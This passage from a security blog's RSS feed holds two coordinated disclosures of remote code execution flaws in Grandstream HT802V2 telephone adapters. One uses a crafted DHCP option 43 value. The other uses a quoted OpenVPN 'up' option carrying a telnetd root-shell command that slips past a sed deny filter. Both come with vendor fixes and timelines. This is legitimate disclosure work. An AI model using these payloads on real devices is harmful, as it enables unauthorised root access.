class="nv"&gt;server&lt;/span&gt;]]&lt;span class="ss"&gt;)&lt;/span&gt;
&lt;span class="s1"&gt;'05:0e:31:39:32:2e:31:36:38:2e:34:32:2e:32:32:32'&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So we set DHCP option 43 to &lt;code&gt;05:0e:31:39:32:2e:31:36:38:2e:34:32:2e:32:32:32&lt;/code&gt; and trigger a DHCP run (&lt;code&gt;/etc/init.d/udhcpc restart&lt;/code&gt; if you have a shell, or a plain reboot if you don't).
And boom, root shell on port &lt;code&gt;1270&lt;/code&gt; :)&lt;/p&gt;
&lt;p&gt;As mentioned earlier, this is closely related to &lt;a href="https://www.secforce.com/blog/exploiting-grandstream-ht801-ata-cve-2021-37748-cve-2021-37915/"&gt;CVE-2021-37915&lt;/a&gt;, where a binary was downloaded via TFTP from the &lt;code&gt;gdb_debug_server&lt;/code&gt; NVRAM variable or via HTTP from the &lt;code&gt;gs_test_server&lt;/code&gt; NVRAM variable.
Both of these variables were controllable using the existing &lt;code&gt;gs_config&lt;/code&gt; interface after authentication.
But using DHCP for the same thing is much nicer, as it removes the need for authentication completely :)&lt;/p&gt;
&lt;h3&gt;Affected devices&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;HT802V2 running 1.0.3.5 (and any other release older than 1.0.3.10), as that's what I have tested&lt;/li&gt;
&lt;li&gt;Most probably also other HT8xxV2, as they use the same firmware&lt;/li&gt;
&lt;li&gt;Most probably also HT8xx(V1), as their &lt;code&gt;/usr/share/udhcpc/default.script&lt;/code&gt; and &lt;code&gt;/app/bin/vendor_test_suite.sh&lt;/code&gt; look very similar, according to firmware dumps&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fix&lt;/h3&gt;
&lt;p&gt;After disclosing this issue to Grandstream, they have issued a new firmware release (1.0.3.10) which modifies &lt;code&gt;/app/bin/vendor_test_suite.sh&lt;/code&gt; to&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="ch"&gt;#!/bin/sh&lt;/span&gt;

&lt;span class="nv"&gt;TEST_SCRIPT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;vendor_test.sh
&lt;span class="nv"&gt;TEST_SERVER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;span class="nv"&gt;TEST_SERVER_PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;8080&lt;/span&gt;
&lt;span class="nv"&gt;VENDOR_SCRIPT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/tmp/run_vendor.sh"&lt;/span&gt;

&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/tmp

wget&lt;span class="w"&gt; &lt;/span&gt;-q&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-T&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;http://&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SERVER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;:&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SERVER_PORT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Finished downloading &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; from http://&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SERVER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SERVER_PORT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;+x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;prov_image_dec&lt;span class="w"&gt; &lt;/span&gt;--in&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--out&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;VENDOR_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"`head -n 1 &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;VENDOR_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#!/bin/sh"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Starting GS Test Suite..."&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;+x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;VENDOR_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;VENDOR_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;http://&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SERVER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;:&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SERVER_PORT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The crucial part is that now &lt;code&gt;prov_image_dec&lt;/code&gt; is used for the decoding, which actually checks for a signature (like on the firmware image itself), thus preventing loading of malicious scripts.&lt;/p&gt;
&lt;h3&gt;Timeline&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;2025-01-05 Reported to Grandstream PSIRT via mail&lt;/li&gt;
&lt;li&gt;2025-01-11 Pinged via &lt;a href="https://www.grandstream.com/vulnerability-disclosure-policy"&gt;form on grandstream.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2025-01-13 Got a reply that they didn't get the initial submission, re-sent&lt;/li&gt;
&lt;li&gt;2025-01-14 Confirmation that the re-sent submission was received&lt;/li&gt;
&lt;li&gt;2025-01-21 &lt;a href="https://forums.grandstream.com/t/ht801v2-802v2-812v2-814v2-818v2-1-0-3-10-released-as-beta/60674"&gt;Notification that firmware 1.0.3.10 (marked as beta) for HT802V2 was released with a fix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2025-02-12 &lt;a href="https://forums.grandstream.com/t/ht801v2-802v2-812v2-814v2-818v2-1-0-3-10-released-as-official/60847"&gt;1.0.3.10 is marked as "official" (aka "stable")&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2025-04-17 This issue was assigned &lt;strong&gt;CVE-2025-28177&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;</description><category>english</category><category>hardware</category><category>linux</category><category>planet-debian</category><category>security</category><category>software</category><guid>https://www.die-welt.net/2025/02/unauthenticated-rce-in-grandstream-ht802v2-and-probably-others-using-gs_test_server-dhcp-vendor-option/</guid><pubDate>Thu, 20 Feb 2025 11:38:57 GMT</pubDate></item><item><title>Authenticated RCE via OpenVPN Configuration File in Grandstream HT802V2 and probably others (CVE-2025-28176)</title><link>https://www.die-welt.net/2025/02/authenticated-rce-via-openvpn-configuration-file-in-grandstream-ht802v2-and-probably-others/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;I have a &lt;a href="https://www.grandstream.com/products/gateways-and-atas/analog-telephone-adaptors/product/ht802v2"&gt;Grandstream HT802V2&lt;/a&gt; running firmware 1.0.3.5 and while playing around with the VPN settings realized that the sanitization of the "Additional Options" field done for &lt;a href="https://www.tenable.com/security/research/tra-2020-22"&gt;CVE-2020-5739&lt;/a&gt; is not sufficient.&lt;/p&gt;
&lt;p&gt;Before the fix for CVE-2020-5739, &lt;code&gt;/etc/rc.d/init.d/openvpn&lt;/code&gt; did&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;echo&lt;span class="w"&gt; &lt;/span&gt;"$(nvram&lt;span class="w"&gt; &lt;/span&gt;get&lt;span class="w"&gt; &lt;/span&gt;8460)"&lt;span class="w"&gt; &lt;/span&gt;|&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;'s/;/\n/g'&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;${&lt;/span&gt;&lt;span class="n"&gt;CONF_FILE&lt;/span&gt;&lt;span class="cp"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After the fix it does&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;"$(nvram get 8460)"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'s/;/\n/g'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/script-security/d'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/^[ ]*down /d'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/^[ ]*up /d'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/^[ ]*learn-address /d'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/^[ ]*tls-verify /d'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/^[ ]*client-[dis]*connect /d'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/^[ ]*route-up/d'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/^[ ]*route-pre-down /d'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/^[ ]*auth-user-pass-verify /d'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/^[ ]*ipchange /d'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;${&lt;/span&gt;&lt;span class="n"&gt;CONF_FILE&lt;/span&gt;&lt;span class="err"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That means it deletes all lines that either contain &lt;code&gt;script-security&lt;/code&gt; or start with a &lt;a href="https://openvpn.net/community-resources/reference-manual-for-openvpn-2-6/#scripting-integration"&gt;set of options that allow command execution&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Looking at the OpenVPN configuration template (&lt;code&gt;/etc/openvpn/openvpn.conf&lt;/code&gt;), it already uses &lt;code&gt;up&lt;/code&gt; and therefor sets &lt;code&gt;script-security 2&lt;/code&gt;, so injecting that is unnecessary.&lt;/p&gt;
&lt;p&gt;Thus if one can somehow inject &lt;code&gt;"/bin/ash -c 'telnetd -l /bin/sh -p 1271'"&lt;/code&gt; in one of the command-executing options, a reverse shell will be opened.&lt;/p&gt;
&lt;p&gt;The filtering looks for lines that start with zero or more occurrences of a space, followed by the option name (&lt;code&gt;up&lt;/code&gt;, &lt;code&gt;down&lt;/code&gt;, etc), followed by another space.
While OpenVPN happily accepts tabs instead of spaces in the configuration file, I wasn't able to inject a tab neither via the web interface, nor via SSH/&lt;code&gt;gs_config&lt;/code&gt;.
However, &lt;a href="https://openvpn.net/community-resources/reference-manual-for-openvpn-2-6/#options"&gt;OpenVPN also allows quoting&lt;/a&gt;, which is only documented for parameters, but works just well for option names too.&lt;/p&gt;
&lt;p&gt;That means that instead of&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;up "/bin/ash -c 'telnetd -l /bin/sh -p 1271'"
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;from the original exploit by Tenable, we write&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;"up" "/bin/ash -c 'telnetd -l /bin/sh -p 1271'"
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;this still will be a valid OpenVPN configuration statement, but the filtering in &lt;code&gt;/etc/rc.d/init.d/openvpn&lt;/code&gt; won't catch it and the resulting OpenVPN configuration will include the exploit:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;# grep -E '(up|script-security)' /etc/openvpn.conf
up /etc/openvpn/openvpn.up
up-restart
;group nobody
script-security 2
"up" "/bin/ash -c 'telnetd -l /bin/sh -p 1271'"
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And with that, once the OpenVPN connection is established, a reverse shell is spawned:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;/ # uname -a
Linux HT8XXV2 4.4.143 #108 SMP PREEMPT Mon May 13 18:12:49 CST 2024 armv7l GNU/Linux

/ # id
uid=0(root) gid=0(root)
&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Affected devices&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;HT802V2 running 1.0.3.5 (and any other release older than 1.0.3.10), as that's what I have tested&lt;/li&gt;
&lt;li&gt;Most probably also other HT8xxV2, as they use the same firmware&lt;/li&gt;
&lt;li&gt;Most probably also HT8xx(V1), as their &lt;code&gt;/etc/rc.d/init.d/openvpn&lt;/code&gt; looks very similar, according to firmware dumps&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fix&lt;/h3&gt;
&lt;p&gt;After disclosing this issue to Grandstream, they have issued a new firmware release (1.0.3.10) which modifies the filtering to the following:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;"$(nvram get 8460)"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'s/;/\n/g'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/script-security/d'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/^["'&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;down&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]/&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="s1"&gt;' \&lt;/span&gt;
&lt;span class="s1"&gt;                               -e '&lt;/span&gt;&lt;span class="o"&gt;/^[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]*&lt;/span&gt;&lt;span class="n"&gt;up&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]/&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="s1"&gt;' \&lt;/span&gt;
&lt;span class="s1"&gt;                               -e '&lt;/span&gt;&lt;span class="o"&gt;/^[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]*&lt;/span&gt;&lt;span class="n"&gt;learn&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]/&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="s1"&gt;' \&lt;/span&gt;
&lt;span class="s1"&gt;                               -e '&lt;/span&gt;&lt;span class="o"&gt;/^[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]*&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]/&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="s1"&gt;' \&lt;/span&gt;
&lt;span class="s1"&gt;                               -e '&lt;/span&gt;&lt;span class="o"&gt;/^[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]*&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;crypt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]/&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="s1"&gt;' \&lt;/span&gt;
&lt;span class="s1"&gt;                               -e '&lt;/span&gt;&lt;span class="o"&gt;/^[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]*&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-[&lt;/span&gt;&lt;span class="n"&gt;dis&lt;/span&gt;&lt;span class="o"&gt;]*&lt;/span&gt;&lt;span class="k"&gt;connect&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]/&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="s1"&gt;' \&lt;/span&gt;
&lt;span class="s1"&gt;                               -e '&lt;/span&gt;&lt;span class="o"&gt;/^[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]*&lt;/span&gt;&lt;span class="n"&gt;route&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;up&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]/&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="s1"&gt;' \&lt;/span&gt;
&lt;span class="s1"&gt;                               -e '&lt;/span&gt;&lt;span class="o"&gt;/^[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]*&lt;/span&gt;&lt;span class="n"&gt;route&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;down&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]/&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="s1"&gt;' \&lt;/span&gt;
&lt;span class="s1"&gt;                               -e '&lt;/span&gt;&lt;span class="o"&gt;/^[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]*&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pass&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]/&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="s1"&gt;' \&lt;/span&gt;
&lt;span class="s1"&gt;                               -e '&lt;/span&gt;&lt;span class="o"&gt;/^[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]*&lt;/span&gt;&lt;span class="n"&gt;ipchange&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;"'\'' \f\v\r\n\t&lt;/span&gt;&lt;span class="o"&gt;]/&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;${&lt;/span&gt;&lt;span class="n"&gt;CONF_FILE&lt;/span&gt;&lt;span class="err"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So far I was unable to inject any further commands in this block.&lt;/p&gt;
&lt;h3&gt;Timeline&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;2024-12-29 Reported to Grandstream PSIRT via mail&lt;/li&gt;
&lt;li&gt;2025-01-11 Pinged via &lt;a href="https://www.grandstream.com/vulnerability-disclosure-policy"&gt;form on grandstream.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2025-01-13 Got a reply that they didn't get the initial submission, re-sent&lt;/li&gt;
&lt;li&gt;2025-01-14 Confirmation that the re-sent submission was received&lt;/li&gt;
&lt;li&gt;2025-01-21 &lt;a href="https://forums.grandstream.com/t/ht801v2-802v2-812v2-814v2-818v2-1-0-3-10-released-as-beta/60674"&gt;Notification that firmware 1.0.3.10 (marked as beta) for HT802V2 was released with a fix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2025-02-12 &lt;a href="https://forums.grandstream.com/t/ht801v2-802v2-812v2-814v2-818v2-1-0-3-10-released-as-official/60847"&gt;1.0.3.10 is marked as "official" (aka "stable")&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2025-04-17 This issue was assigned &lt;strong&gt;CVE-2025-28176&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;</description><category>english</category><category>hardware</category><category>linux</category><category>planet-debian</category><category>security</category><category>software</category><guid>https://www.die-welt.net/2025/02/authenticated-rce-via-openvpn-configuration-file-in-grandstream-ht802v2-and-probably-others/</guid><pubDate>Wed, 12 Feb 2025 16:58:46 GMT</pubDate></item></channel></rss>